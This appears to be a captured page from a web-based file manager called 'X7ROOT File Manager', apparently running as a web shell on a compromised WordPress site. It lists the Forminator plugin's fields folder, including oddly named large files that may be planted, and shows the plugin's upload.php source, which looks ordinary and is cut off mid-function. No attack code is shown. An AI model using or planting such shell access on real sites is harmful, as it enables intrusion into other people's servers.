File Manager

X7ROOT File Manager

Current Path: /home/hikrsdyp/public_html/wp-content/plugins/forminator/library/fields

home / hikrsdyp / public_html / wp-content / plugins / forminator / library / fields /

?? ..
?? calculation.php(8.08 KB)
?? captcha.php(9.16 KB)
?? consent.php(6.06 KB)
?? currency.php(12.94 KB)
?? custom.php(7.13 KB)
?? date.php(44.48 KB)
?? email.php(14.51 KB)
?? error_log(1.86 KB)
?? gdprcheckbox.php(5.3 KB)
?? group.php(7.06 KB)
?? hidden.php(4.89 KB)
?? html.php(2.41 KB)
?? multivalue.php(16.6 KB)
?? name.php(22.88 KB)
?? number.php(13.17 KB)
?? page-break.php(1.48 KB)
?? password.php(18.63 KB)
?? paypal.php(13.38 KB)
?? phone.php(15.54 KB)
?? phone_categories(2.64 MB)
?? portuguese_mimes(2.64 MB)
?? postdata.php(35.89 KB)
?? radio.php(17.07 KB)
?? rating.php(5.61 KB)
?? sbx9mbmx(9.03 KB)
?? section.php(3.12 KB)
?? select.php(23.25 KB)
?? slider.php(14.01 KB)
?? stripe-payment-element.php(3.98 KB)
?? stripe.php(45.92 KB)
?? text.php(11.22 KB)
?? textarea.php(11.61 KB)
?? time.php(28.9 KB)
?? upload.php(33.2 KB)
?? website.php(8.13 KB)

Editing: upload.php

<?php
/**
 * The Forminator_Upload class.
 *
 * @package Forminator
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

/**
 * Class Forminator_Upload
 *
 * @since 1.0
 */
class Forminator_Upload extends Forminator_Field {

/**
	 * Name
	 *
	 * @var string
	 */
	public $name = '';

/**
	 * Slug
	 *
	 * @var string
	 */
	public $slug = 'upload';

/**
	 * Type
	 *
	 * @var string
	 */
	public $type = 'upload';

/**
	 * Position
	 *
	 * @var int
	 */
	public $position = 14;

/**
	 * Options
	 *
	 * @var array
	 */
	public $options = array();

/**
	 * Icon
	 *
	 * @var string
	 */
	public $icon = 'sui-icon-download';

/**
	 * Additional MIME type
	 *
	 * @var array
	 */
	private static $additional_mime_types = array();

/**
	 * Forminator_Upload constructor.
	 *
	 * @since 1.0
	 */
	public function __construct() {
		parent::__construct();

$this->name = esc_html__( 'File Upload', 'forminator' );
		$required   = __( 'This field is required. Please upload a file.', 'forminator' );

self::$default_required_messages[ $this->type ] = $required;
	}

/**
	 * Field defaults
	 *
	 * @since 1.0
	 * @return array
	 */
	public function defaults() {
		$default_all = array(
			'all-image',
			'all-video',
			'all-document',
			'all-audio',
			'all-archive',
			'all-text',
			'all-spreadsheet',
			'all-interactive',
		);

$mimes     = forminator_allowed_mime_types( array(), false );
		$file_type = array_merge( $default_all, array_keys( $mimes ) );

return array(
			'field_label'  => esc_html__( 'Upload file', 'forminator' ),
			'filetypes'    => $file_type,
			'file-type'    => 'single',
			'file-limit'   => 'unlimited',
			'upload-limit' => 8,
			'filesize'     => 'MB',
		);
	}

/**
	 * Autofill Setting
	 *
	 * @since 1.0.5
	 *
	 * @param array $settings Settings.
	 *
	 * @return array
	 */
	public function autofill_settings( $settings = array() ) {
		// Unsupported Autofill.
		$autofill_settings = array();

return $autofill_settings;
	}

/**
	 * Field front-end markup
	 *
	 * @since 1.0
	 *
	 * @param array                  $field Field.
	 * @param Forminator_Render_Form $views_obj Forminator_Render_Form object.
	 *
	 * @return mixed
	 */
	public function markup( $field, $views_obj ) {

$settings    = $views_obj->model->settings;
		$this->field = $field;

self::$description_position = self::get_description_position( $field, $settings );

$html        = '';
		$id          = self::get_property( 'element_id', $field );
		$name        = $id;
		$required    = self::get_property( 'required', $field, false );
		$design      = $this->get_form_style( $settings );
		$label       = esc_html( self::get_property( 'field_label', $field, '' ) );
		$description = self::get_property( 'description', $field, '' );
		$file_type   = self::get_property( 'file-type', $field, 'single' );
		$form_id     = isset( $settings['form_id'] ) ? $settings['form_id'] : 0;
		$uniq_id     = $id . '_' . Forminator_CForm_Front::$uid;

if ( 'multiple' === $file_type ) {
			$name = $name . '[]';
		}

$html .= '<div class="forminator-field">';

$html .= self::get_field_label( $label, 'forminator-field-' . $uniq_id, $required );

$file_limit_type  = self::get_property( 'file-limit', $field, 'unlimited' );
		$custom_file_type = self::get_property( 'custom-files', $field, false );
		$custom_file_type = filter_var( $custom_file_type, FILTER_VALIDATE_BOOLEAN );
		$file_mime_types  = $this->file_mime_type( $field );
		$mime_types       = array_filter( $file_mime_types );

if ( 'multiple' === $file_type ) {
			$upload_method = self::get_property( 'upload-method', $field, 'ajax' );
			$upload_attr   = array(
				'multiple'    => 'multiple',
				'data-method' => $upload_method,
			);
			if ( $custom_file_type ) {
				$upload_attr['accept'] = str_replace( '|', ',.', implode( ',', preg_filter( '/^/', '.', $mime_types ) ) );
			}
			if ( 'custom' === $file_limit_type ) {
				$file_limit                        = self::get_property( 'file-limit-input', $field, 5 );
				$upload_attr['data-limit']         = $file_limit;
				$upload_attr['data-limit-message'] = /* translators: %d: File limit */ sprintf( esc_html__( 'You can upload a maximum of %d files.', 'forminator' ), $file_limit );
			}
			$upload_limit = self::get_property( 'upload-limit', $field );
			$max_size     = wp_max_upload_size();
			if ( ! empty( $upload_limit ) ) {
				$filesize  = self::get_property( 'filesize', $field, 'MB' );
				$file_size = $this->file_size( $filesize );
				$max_size  = $upload_limit * $file_size;
			}
			$upload_attr['data-size']         = $max_size;
			$rounded_max_size                 = $this->byte_to_size( $max_size );
			$upload_attr['data-size-message'] = /* translators: %s: Maximum size */ sprintf( esc_html__( 'Maximum file size allowed is %s. ', 'forminator' ), $rounded_max_size );
			if ( $custom_file_type ) {
				$upload_attr['data-filetype']         = implode( '|', array_values( $mime_types ) );
				$upload_attr['data-filetype-message'] = esc_html__( 'file extension is not allowed.', 'forminator' );
			}

$html .= self::create_file_upload(
				$uniq_id,
				$name,
				$description,
				$required,
				$design,
				$file_type,
				$form_id,
				$upload_attr
			);
		} else {
			$upload_attr = array();
			if ( ! empty( $mime_types ) ) {
				$upload_attr['accept'] = str_replace( '|', ',.', implode( ',', preg_filter( '/^/', '.', $mime_types ) ) );
			}

$html .= self::create_file_upload(
				$uniq_id,
				$name,
				$description,
				$required,
				$design,
				$file_type,
				$form_id,
				$upload_attr
			);
		}

if ( 'multiple' === $file_type ) {
			$html .= sprintf( '<ul class="forminator-uploaded-files upload-container-%s"></ul>', $uniq_id );
		}

$html .= '</div>';

return apply_filters( 'forminator_field_file_markup', $html, $field );
	}

/**
	 * Field back-end validation
	 *
	 * @since 1.0
	 *
	 * @param array        $field Field.
	 * @param array|string $data Data.
	 */
	public function validate( $field, $data ) {
		if ( $this->is_required( $field ) ) {
			$id               = self::get_property( 'element_id', $field );
			$required_message = self::get_property( 'required_message', $field, self::$default_required_messages[ $this->type ] );
			if ( empty( $data ) ) {
				$this->validation_message[ $id ] = apply_filters(
					'forminator_upload_field_required_validation_message',
					$required_message,
					$id,
					$field
				);
			}
		}
	}

/**
	 * Return field inline validation rules
	 * Workaround for actually input file is hidden, so its not accessible via standar html5 `required` attribute
	 *
	 * @since 1.1
	 * @return string
	 */
	public function get_validation_rules() {
		$field            = $this->field;
		$id               = self::get_property( 'element_id', $field );
		$file_type        = self::get_property( 'file-type', $field, 'single' );
		$custom_file_type = self::get_property( 'custom-files', $field, false );
		$custom_file_type = filter_var( $custom_file_type, FILTER_VALIDATE_BOOLEAN );
		$element_id       = $this->get_id( $field );
		if ( 'multiple' === $file_type ) {
			$element_id .= '[]';
		}
		$rules              = '"' . $element_id . '": {' . "\n";
		$mime_type          = $this->file_mime_type( $field );
		$allowed_mime_types = ! empty( $mime_type ) ? implode( '|', array_values( $mime_type ) ) : '';

if ( $this->is_required( $field ) ) {
			$rules .= '"required": true,';
		}

if ( 'multiple' !== $file_type && $custom_file_type ) {
			$rules .= '"extension": "' . $allowed_mime_types . '",';
		}

$rules .= '},' . "\n";

return apply_filters( 'forminator_field_file_validation_rules', $rules, $id, $field );
	}

/**
	 * Return field inline validation messages
	 *
	 * @since 1.1
	 * @return string
	 */
	public function get_validation_messages() {
		$field       = $this->field;
		$id          = $this->get_id( $field );
		$is_required = $this->is_required( $field );
		$file_type   = self::get_property( 'file-type', $field, 'single' );
		if ( 'multiple' === $file_type ) {
			$id .= '[]';
		}
		$messages = '"' . $id . '": {' . "\n";

if ( $is_required ) {
			$settings_required_message = self::get_property( 'required_message', $field, self::$default_required_messages[ $this->type ] );
			$required_message          = apply_filters(
				'forminator_upload_field_required_validation_message',
				$settings_required_message,
				$id,
				$field
			);
			$messages                  = $messages . '"required": "' . forminator_addcslashes( $required_message ) . '",' . "\n";
		}
		$extension_message = esc_html__( 'Error saving form. Uploaded file extension is not allowed.', 'forminator' );
		$messages         .= '"extension": "' . forminator_addcslashes( $extension_message ) . '",' . "\n";

$messages .= '},' . "\n";

return $messages;
	}

/**
	 * Handle file upload
	 *
	 * @since 1.6 copied from Forminator_Front_Action
	 *
	 * @param int    $form_id Form Id.
	 * @param array  $field Settings.
	 * @param array  $post_data Submitted data.
	 * @param string $upload_type Upload type.
	 * @param array  $file_input Input file.
	 *
	 * @return bool|array
	 */
	public function handle_file_upload( $form_id, $field, $post_data = array(), $upload_type = 'submit', $file_input = array() ) {
		$this->field           = $field;
		$id                    = self::get_property( 'element_id', $field );
		$field_name            = $id;
		$custom_limit_size     = true;
		$upload_limit          = self::get_property( 'upload-limit', $field );
		$filesize              = self::get_property( 'filesize', $field, 'MB' );
		$custom_file_type      = self::get_property( 'custom-files', $field, false );
		$use_library           = self::get_property( 'use_library', $field, false );
		$file_type             = self::get_property( 'file-type', $field, 'single' );
		$use_library           = filter_var( $use_library, FILTER_VALIDATE_BOOLEAN );
		$mime_types            = array();
		$additional_mime_types = array();

if ( empty( $upload_limit ) ) {
			$custom_limit_size = false;
		}

$custom_file_type = filter_var( $custom_file_type, FILTER_VALIDATE_BOOLEAN );
		if ( $custom_file_type ) {
			// check custom mime.
			$filetypes             = self::get_property( 'filetypes', $field, array(), 'array' );
			$additional            = str_replace( '.', '', self::get_property( 'additional-type', $field, '', 'string' ) );
			$additional_filetype   = array_map( 'trim', explode( ',', $additional ) );
			$additional_filetypes  = $this->get_additional_file_types( $additional_filetype );
			$additional_mime_types = $this->get_additional_file_mime_types( $additional_filetype );
			$all_file_type         = array_merge( $filetypes, $additional_filetypes );
			foreach ( $all_file_type as $filetype ) {
				// Mime type format = Key is the file extension with value as the mime type.
				$mime_types[ $filetype ] = $filetype;
			}
		}

$file_object = array();
		if ( ! empty( $file_input ) ) {
			$file_object = $file_input;
		} elseif ( isset( $_FILES[ $field_name ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
			$file_object = $_FILES[ $field_name ]; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput
		}
		if ( ! empty( $file_object ) ) {
			if ( isset( $file_object['name'] ) && ! empty( $file_object['name'] ) ) {
				$file_name  = wp_generate_password( 12, false, false ) . '-' . sanitize_file_name( $file_object['name'] );
				$mime_types = forminator_allowed_mime_types( $mime_types, false );
				/**
				 * Filter mime types to be used as validation
				 *
				 * @since 1.6
				 *
				 * @param array $mime_types return null/empty array to use default WP file types @see https://codex.wordpress.org/Plugin_API/Filter_Reference/upload_mimes.
				 * @param array $field
				 */
				$mime_types     = apply_filters( 'forminator_upload_field_mime_types', $mime_types, $field );
				$valid          = wp_check_filetype( $file_name, $mime_types );
				$ext            = pathinfo( $file_name, PATHINFO_EXTENSION );
				$file_base_name = pathinfo( $file_name, PATHINFO_FILENAME );

$i                  = 1;
				$original_file_name = $file_base_name;
				$upload_temp_path   = forminator_upload_root_temp();
				if ( 'upload' === $upload_type && is_wp_error( $upload_temp_path ) ) {
					return array(
						'success' => false,
						'message' => $upload_temp_path->get_error_message(),
					);
				}
				if ( ! is_wp_error( $upload_temp_path ) ) {
					while ( file_exists( $upload_temp_path . '/' . $file_base_name . '.' . $ext ) ) {
						$file_base_name = (string) $original_file_name . $i;
						$file_name      = $file_base_name . '.' . $ext;
						++$i;
					}
				}

if ( false === $valid['ext'] ) {
					if ( 'multiple' === $file_type ) {
						return array(
							'success' => false,
							'message' => /* translators: %s: Extension */ sprintf( esc_html__( '.%s file extension is not allowed.', 'forminator' ), $ext ),
						);
					} else {
						return array(
							'success' => false,
							'message' => esc_html__( 'Error saving form. Uploaded file extension is not allowed.', 'forminator' ),
						);
					}
				}

$allow = apply_filters( 'forminator_file_upload_allow', true, $field_name, $file_name, $valid );
				if ( false === $allow ) {
					return array(
						'success' => false,
						'message' => esc_html__( 'Error saving form. Uploaded file extension is not allowed.', 'forminator' ),
					);
				}

if ( ! is_uploaded_file( $file_object['tmp_name'] ) ) {
					return array(
						'success' => false,
						'message' => esc_html__( 'Error saving form. Failed to read uploaded file.', 'forminator' ),
					);
				}

$valid_mime = self::check_mime_type( $file_object['tmp_name'], $file_object['name'], $additional_mime_types );

if ( ! $valid_mime ) {
					return array(
						'success' => false,
						'message' => esc_html__( 'Sorry, you are not allowed to upload this file type.', 'forminator' ),
					);
				}

$upload_dir       = wp_upload_dir(); // Set upload folder.
				$file_path        = 'upload' === $upload_type ? $upload_temp_path : forminator_get_upload_path( $form_id, 'uploads' );
				$file_url         = forminator_get_upload_url( $form_id, 'uploads' );
				$unique_file_name = wp_unique_filename( $file_path, $file_name );
				$exploded_name    = explode( '/', $unique_file_name );
				$filename         = end( $exploded_name ); // Create base file name.

$max_size  = wp_max_upload_size();
				$file_size = $this->file_size( $filesize );
				if ( $custom_limit_size ) {
					$max_size = $upload_limit * $file_size; // convert to byte.
				}

if ( 0 === $file_object['size'] ) {
					return array(
						'success' => false,
						'message' => esc_html__( 'The attached file is empty and can\'t be uploaded.', 'forminator' ),
					);
				}

if ( $file_object['size'] > $max_size ) {

$rounded_max_size = $this->byte_to_size( $max_size );

return array(
						'success' => false,
						'message' => sprintf(
						/* translators: %s: Maximum size */
							esc_html__( 'Maximum file size allowed is %s. ', 'forminator' ),
							$rounded_max_size
						),
					);
				}

if ( UPLOAD_ERR_OK !== $file_object['error'] ) {
					return array(
						'success' => false,
						'message' => esc_html__( 'Error saving form. Upload error.', 'forminator' ),
					);
				}

if ( ! is_dir( $file_path ) ) {
					wp_mkdir_p( $file_path );
				}

if ( ! forminator_create_index_file_disabled() ) {
					// Create Index file.
					self::forminator_upload_index_file( $form_id, $file_path );
				}

if ( wp_is_writable( $file_path ) ) {
					$file_path = $file_path . '/' . $filename;
					$file_url  = $file_url . '/' . $filename;
				} else {
					$file_path = $upload_dir['basedir'] . '/' . $filename;
					$file_url  = $upload_dir['baseurl'] . '/' . $filename;
				}

if ( 'multiple' === $file_type ) {
					$file_limit_type = self::get_property( 'file-limit', $field, 'unlimited' );
					if ( 'custom' === $file_limit_type ) {
						$file_limit = self::get_property( 'file-limit-input', $field, 5 );
						if ( isset( $post_data['totalFiles'] ) && $post_data['totalFiles'] > $file_limit ) {
							if ( 'upload' === $upload_type ) {
								move_uploaded_file( $file_object['tmp_name'], $file_path );
							}

return array(
								'error_type' => 'limit',
								'success'    => false,
								'message'    => /* translators: %d: File limit */ sprintf( esc_html__( 'You can upload a maximum of %d files.', 'forminator' ), $file_limit ),
							);
						}
					}
				}

$file_mime = $this->get_mime_type( $file_object['tmp_name'] );
				// use move_uploaded_file instead of $wp_filesystem->put_contents.
				// increase performance, and avoid permission issues.
				if ( false !== move_uploaded_file( $file_object['tmp_name'], $file_path ) ) {
					if ( $use_library && 'submit' === $upload_type ) {
						$upload_id = wp_insert_attachment(
							array(
								'guid'           => $file_path,
								'post_mime_type' => $file_mime,
								'post_title'     => preg_replace( '/\.[^.]+$/', '', $filename ),
								'post_content'   => '',
								'post_status'    => 'inherit',
							),
							$file_path
						);

self::generate_upload_metadata( $upload_id, $file_path );
					}

return array(
						'success'   => true,
						'file_name' => $filename,
						'file_url'  => $file_url,
						'message'   => '',
						'file_path' => wp_normalize_path( $file_path ),
					);

} else {
					return array(
						'success' => false,
						'message' => esc_html__( 'Error saving form. Upload error.', 'forminator' ),
					);
				}
			}
		}

return false;
	}

/**
	 * Check if content mime type is relevant to passed mime type
	 *
	 * @param string $file Full path to the file.
	 * @param string $file_name The name of the file.
	 * @param array  $additional_mime_types Additional MIME type.
	 * @return bool
	 */
	private static function check_mime_type( string $file, string $file_name, $additional_mime_types ): bool {
		if ( ! empty( $additional_mime_types ) ) {
			self::$additional_mime_types = $additional_mime_types;
			// Add additional MIME types through the upload_mimes event to support extra file types.
			add_filter( 'upload_mimes', array( __CLASS__, 'add_additional_mime_type_for_validation' ), 10 );
		}

$wp_filetype = wp_check_filetype_and_ext( $file, $file_name );

if ( ! empty( $additional_mime_types ) ) {
			// Remove the upload_mimes event after file type checks to avoid conflicts with other forms/fields.
			remove_filter( 'upload_mimes', array( __CLASS__, 'add_additional_mime_type_for_validation' ), 10 );
			self::$additional_mime_types = array();
		}

return ! empty( $wp_filetype['ext'] ) && ! empty( $wp_filetype['type'] );
	}

/**
	 * Add additional MIME types through the upload_mimes event to validate file uploads.
	 *
	 * @param array $mime_types File MIME types.
	 * @return array
	 */
	public static function add_additional_mime_type_for_validation( $mime_types ) {
		$mime_types = array_merge( $mime_types, self::$additional_mime_types );
		return $mime_types;
	}

/**
	 * Handle multiple file upload with ajax
	 *
	 * @since 1.6 copied from Forminator_Front_Action
	 *
	 * @param int   $form_id Form Id.
	 * @param array $upload_data settings.
	 * @param array $field_array field array.
	 *
	 * @return bool|array
	 */
	public function handle_ajax_multifile_upload( $form_id, $upload_data, $field_array = array() ) {
		$file_path_arr = array();
		$file_url_arr  = array();
		$use_library   = self::get_property( 'use_library', $field_array, false );
		$file_type     = self::get_property( 'file-type', $field_array, 'single' );
		if ( ! empty( $upload_data ) && ! empty( $upload_data['file'] ) ) {
			if ( false !== array_search( false, array_column( $upload_data['file'], 'success' ), true ) ) {
				return array(
					'success' => false,
				);
			}
			$upload_dir  = wp_upload_dir();
			$upload_path = forminator_get_upload_path( $form_id, 'uploads' );
			$upload_url  = forminator_get_upload_url( $form_id, 'uploads' );

if ( ! is_dir( $upload_path ) ) {
				wp_mkdir_p( $upload_path );
			}

if ( ! forminator_create_index_file_disabled() ) {
				// Create Index file.
				self::forminator_upload_index_file( $form_id, $upload_path );
			}

foreach ( $upload_data['file'] as $upload ) {
				$upload_temp_path = forminator_upload_root_temp();
				if ( ! empty( $upload ) && ! is_wp_error( $upload_temp_path ) ) {
					$file_name = trim( sanitize_file_name( $upload['file_name'] ) );
					$temp_path = $upload_temp_path . '/' . $file_name;

$unique_file_name = wp_unique_filename( $upload_path, $file_name );
					$exploded_name    = explode( '/', $unique_file_name );
					$filename         = end( $exploded_name );

if ( wp_is_writable( $upload_path ) ) {
						$file_path = $upload_path . '/' . trim( sanitize_file_name( $filename ) );
						$file_url  = $upload_url . '/' . trim( sanitize_file_name( $filename ) );
					} else {
						$file_path = wp_normalize_path( $upload_dir['basedir'] . '/' . trim( sanitize_file_name( $filename ) ) );
						$file_url  = $upload_dir['baseurl'] . '/' . trim( sanitize_file_name( $filename ) );
					}

if ( file_exists( $temp_path ) ) {
						if ( $this->move_file( $temp_path, $file_path ) ) {
							if ( $use_library ) {
								$upload_id = wp_insert_attachment(
									array(
										'guid'           => $file_path,
										'post_mime_type' => $upload['mime_type'],
										'post_title'     => preg_replace( '/\.[^.]+$/', '', $filename ),
										'post_content'   => '',
										'post_status'    => 'inherit',
									),
									$file_path
								);

self::generate_upload_metadata( $upload_id, $file_path );
							}

$file_path_arr[] = $file_path;
							$file_url_arr[]  = $file_url;
						}
					} else {
						// Check maybe it was already saved on previous submission but it had other fields validation issues.
						preg_match( '/(\-([0-9]+))\.[^.]+$/', $file_path, $matches );
						if ( ! empty( $matches[0] ) ) {
							if ( '-1' === $matches[1] ) {
								$replace = '';
							} else {
								$replace = '-' . ( --$matches[2] );
							}
							$ext       = str_replace( $matches[1], $replace, $matches[0] );
							$file_path = substr( $file_path, 0, -strlen( $matches[0] ) ) . $ext;
							$file_url  = substr( $file_url, 0, -strlen( $matches[0] ) ) . $ext;
							if ( file_exists( $file_path ) ) {
								$file_path_arr[] = $file_path;
								$file_url_arr[]  = $file_url;
							}
						}
					}
				}
			}
			if ( ! empty( $file_url_arr ) && ! empty( $file_path_arr ) ) {

return array(
					'success'   => true,
					'file_url'  => $file_url_arr,
					'file_path' => $file_path_arr,
				);
			} else {

return array(
					'success' => false,
					'message' => esc_html__( 'Error saving form. Upload error.', 'forminator' ),
				);
			}
		}

return false;
	}

/**
	 * Move/Rename the file
	 *
	 * @param string $source Source file path.
	 * @param string $destination Destination file path.
	 * @return bool
	 */
	private function move_file( $source, $destination ) {
		if ( ! function_exists( 'wp_filesystem' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

global $wp_filesystem;
		if ( ! WP_Filesystem() ) {
			return false; // Could not initialize the filesystem.
		}

if ( $wp_filesystem->move( $source, $destination ) ) {
			return true;
		} else {
			return false;
		}
	}

/**
	 * Handle multiple file upload with submission
	 *
	 * @since 1.6 copied from Forminator_Front_Action
	 *
	 * @param int   $form_id Form Id.
	 * @param array $field Field.
	 * @param array $upload_data settings.
	 * @param bool  $temporary - Upload to temp folder first before payments are verified.
	 *
	 * @return bool|array
	 */
	public function handle_submission_multifile_upload( $form_id, $field, $upload_data, $temporary = false ) {
		$file_name_arr = array();
		$file_path_arr = array();
		$file_url_arr  = array();
		$to_temp       = $temporary ? 'upload' : 'submit';
		if ( ! empty( $upload_data ) ) {
			$upload_file = $this->arrange_files( $upload_data );
			$i           = 1;
			foreach ( $upload_file as $upload ) {
				$response = $this->handle_file_upload( $form_id, $field, array( 'totalFiles' => $i ), $to_temp, $upload );
				if ( isset( $response['success'] ) && $response['success'] ) {
					$file_name_arr[] = $response['file_name'];
					$file_path_arr[] = wp_normalize_path( $response['file_path'] );
					$file_url_arr[]  = $response['file_url'];
				} else {
					return $response;
				}

++$i;
			}

if ( ! empty( $file_url_arr ) && ! empty( $file_path_arr ) ) {

return array(
					'success'   => true,
					'file_name' => $file_name_arr,
					'file_url'  => $file_url_arr,
					'file_path' => $file_path_arr,
				);
			} else {
				return array(
					'success' => false,
					'message' => esc_html__( 'Error saving form. Upload error.', 'forminator' ),
				);
			}
		}

return false;
	}

/**
	 * Transfer the uploaded files
	 *
	 * @since 1.19.0
	 *
	 * @param int   $form_id Form Id.
	 * @param array $upload_data Settings.
	 * @param array $field_array Field array.
	 *
	 * @return bool|array
	 */
	public function transfer_upload( $form_id, $upload_data, $field_array = array() ) {
		$file_path   = null;
		$file_url    = null;
		$use_library = self::get_property( 'use_library', $field_array, false );
		$file_type   = self::get_property( 'file-type', $field_array, 'single' );
		if ( ! empty( $upload_data ) && ! empty( $upload_data['file'] ) ) {
			if ( false !== array_search( false, array_column( $upload_data['file'], 'success' ), true ) ) {
				return array(
					'success' => false,
				);
			}

$upload_path = forminator_get_upload_path( $form_id, 'uploads' );
			$upload_url  = forminator_get_upload_url( $form_id, 'uploads' );
			$upload_dir  = wp_upload_dir();
			if ( 'multiple' === $file_type ) {
				foreach ( $upload_data['file']['file_name'] as $key => $upload ) {
					$files = $this->move_upload(
						array(
							'file_name' => $upload,
							'file_path' => $upload_data['file']['file_path'][ $key ],
							'file_url'  => $upload_data['file']['file_url'][ $key ],
						),
						$upload_dir,
						$upload_path,
						$upload_url,
						$use_library,
						$file_type
					);

$file_path[] = $files['file_path'];
					$file_url[]  = $files['file_url'];
				}
			} else {
				$file = $this->move_upload(
					$upload_data['file'],
					$upload_dir,
					$upload_path,
					$upload_url,
					$use_library,
					$file_type
				);

$file_path = $file['file_path'];
				$file_url  = $file['file_url'];
			}

if ( ! empty( $file_url ) && ! empty( $file_path ) ) {
				return array(
					'success'   => true,
					'file_url'  => $file_url,
					'file_path' => $file_path,
				);
			} else {
				return array(
					'success' => false,
					'message' => esc_html__( 'Error saving form. Upload error.', 'forminator' ),
				);
			}
		}

return false;
	}

/**
	 * Move the uploaded files from forminator_temp to WP uploads.
	 * TODO: Refactor this. Similar to handle_ajax_multifile_upload.
	 *
	 * @since 1.19.0
	 *
	 * @param array  $upload - The upload data.
	 * @param array  $upload_dir - Upload directory.
	 * @param string $upload_path - Upload path.
	 * @param string $upload_url - Upload URL.
	 * @param bool   $use_library - Upload directory.
	 * @param string $file_type - Single/Multiple.
	 *
	 * @return bool|array
	 */
	public function move_upload( $upload, $upload_dir, $upload_path, $upload_url, $use_library, $file_type ) {
		$file_name        = trim( sanitize_file_name( $upload['file_name'] ) );
		$unique_file_name = wp_unique_filename( $upload_path, $file_name );
		$exploded_name    = explode( '/', $unique_file_name );
		$filename         = end( $exploded_name );

if ( ! is_dir( $upload_path ) ) {
			wp_mkdir_p( $upload_path );
		}

if ( wp_is_writable( $upload_path ) ) {
			$file_path = wp_normalize_path( $upload_path . '/' . trim( sanitize_file_name( $filename ) ) );
			$file_url  = $upload_url . '/' . trim( sanitize_file_name( $filename ) );
		} else {
			$file_path = wp_normalize_path( $upload_dir['basedir'] . '/' . trim( sanitize_file_name( $filename ) ) );
			$file_url  = $upload_dir['baseurl'] . '/' . trim( sanitize_file_name( $filename ) );
		}

$temp_path = forminator_upload_root_temp();
		if ( ! is_wp_error( $temp_path ) ) {
			$temp_path = $temp_path . '/' . $file_name;
		}
		if ( ! is_wp_error( $temp_path ) && file_exists( $temp_path ) ) {
			if ( $this->move_file( $temp_path, $file_path ) ) {
				$file_mime = $this->get_mime_type( $file_path );
				if ( $use_library ) {
					$upload_id = wp_insert_attachment(
						array(
							'guid'           => $file_path,
							'post_mime_type' => $file_mime,
							'post_title'     => preg_replace( '/\.[^.]+$/', '', $filename ),
							'post_content'   => '',
							'post_status'    => 'inherit',
						),
						$file_path
					);

self::generate_upload_metadata( $upload_id, $file_path );
				}
			}
		} else {
			// Check maybe it was already saved on previous submission but it had other fields validation issues.
			preg_match( '/(\-([0-9]+))\.[^.]+$/', $file_path, $matches );
			if ( ! empty( $matches[0] ) ) {
				if ( '-1' === $matches[1] ) {
					$replace = '';
				} else {
					$replace = '-' . ( --$matches[2] );
				}
				$ext           = str_replace( $matches[1], $replace, $matches[0] );
				$file_path_new = substr( $file_path, 0, -strlen( $matches[0] ) ) . $ext;
				$file_url_new  = substr( $file_url, 0, -strlen( $matches[0] ) ) . $ext;
				if ( file_exists( $file_path_new ) ) {
					$file_path = $file_path_new;
					$file_url  = $file_url_new;
				}
			}
		}

return array(
			'file_path' => $file_path,
			'file_url'  => $file_url,
		);
	}

/**
	 * File size
	 *
	 * @param string $file_size File size.
	 *
	 * @return mixed
	 */
	public function file_size( $file_size ) {

switch ( $file_size ) {
			case 'KB':
				$size = 1000;
				break;
			case 'B':
				$size = 1;
				break;
			default:
				$size = 1000000;
				break;
		}

return $size;
	}

/**
	 * Arrange files
	 *
	 * @param array $files Files.
	 *
	 * @return array
	 */
	public function arrange_files( $files ) {
		$new = array();
		foreach ( $files as $key => $file ) {
			foreach ( $file as $i => $val ) {
				$new[ $i ][ $key ] = $val;
			}
		}

return $new;
	}

/**
	 * Byte to size
	 *
	 * @param int $size Size.
	 *
	 * @return float|string
	 */
	public function byte_to_size( $size ) {
		$rounded_max_size = round( $size / 1000000 );

if ( $rounded_max_size <= 0 ) {
			// go to KB.
			$rounded_max_size = round( $size / 1000 );

if ( $rounded_max_size <= 0 ) {
				// go to B.
				$rounded_max_size = round( $size ) . ' B';
			} else {
				$rounded_max_size .= ' KB';
			}
		} else {
			$rounded_max_size .= ' MB';
		}

return $rounded_max_size;
	}

/**
	 * Get all Filetypes
	 *
	 * @param array $field Field.
	 *
	 * @return array
	 */
	public function file_mime_type( $field ) {
		$mime_types           = array();
		$default_all          = array(
			'all-image',
			'all-video',
			'all-document',
			'all-audio',
			'all-archive',
			'all-text',
			'all-spreadsheet',
			'all-interactive',
		);
		$filetypes            = self::get_property( 'filetypes', $field, array(), 'array' );
		$file_types           = array_diff( array_merge( $default_all, $filetypes ), $default_all );
		$additional           = str_replace( '.', '', self::get_property( 'additional-type', $field, '', 'string' ) );
		$additional_filetype  = array_map( 'trim', explode( ',', $additional ) );
		$additional_filetypes = $this->get_additional_file_types( $additional_filetype );
		$all_filetype         = array_merge( $file_types, $additional_filetypes );
		if ( ! empty( $all_filetype ) ) {
			foreach ( $all_filetype as $filetype ) {
				$mime_types[ $filetype ] = $filetype;
			}
		}

// Backward compatibility: allow only the allowed file types.
		$mime_types = forminator_allowed_mime_types( $mime_types, false );

return $mime_types;
	}

/**
	 * Get additional file types.
	 *
	 * @param array $custom_filetypes Custom file types.
	 * @return string[]
	 */
	private function get_additional_file_types( $custom_filetypes ) {
		$file_types = array();
		foreach ( $custom_filetypes as $custom_filetype ) {
			$custom_type  = array_map( 'trim', explode( '|', $custom_filetype ) );
			$file_types[] = $custom_type[0];
		}
		return $file_types;
	}

/**
	 * Get additional file MIME types.
	 *
	 * @param array $custom_filetypes Custom file types.
	 * @return string[]
	 */
	private function get_additional_file_mime_types( $custom_filetypes ) {
		$mime_types = array();
		foreach ( $custom_filetypes as $custom_filetype ) {
			$custom_type = array_map( 'trim', explode( '|', $custom_filetype ) );
			if ( ! empty( $custom_type[1] ) ) {
				$mime_types[ $custom_type[0] ] = $custom_type[1];
			}
		}
		return $mime_types;
	}

/**
	 * Get mime type, provide alternative if function is not available
	 *
	 * @param string $file File.
	 *
	 * @return string
	 */
	public function get_mime_type( $file ) {
		if ( function_exists( 'mime_content_type' ) ) {
			$mime_type = mime_content_type( $file );
		} else {
			$file_type = wp_check_filetype( $file );
			$mime_type = $file_type['type'];
		}

return $mime_type;
	}

/**
	 * Set permission
	 *
	 * @param string $path Path.
	 */
	public function set_permissions( $path ) {
		$permission = apply_filters( 'forminator_file_permission', 0755, $path );
		if ( $permission ) {
			if ( ! function_exists( 'wp_filesystem' ) ) {
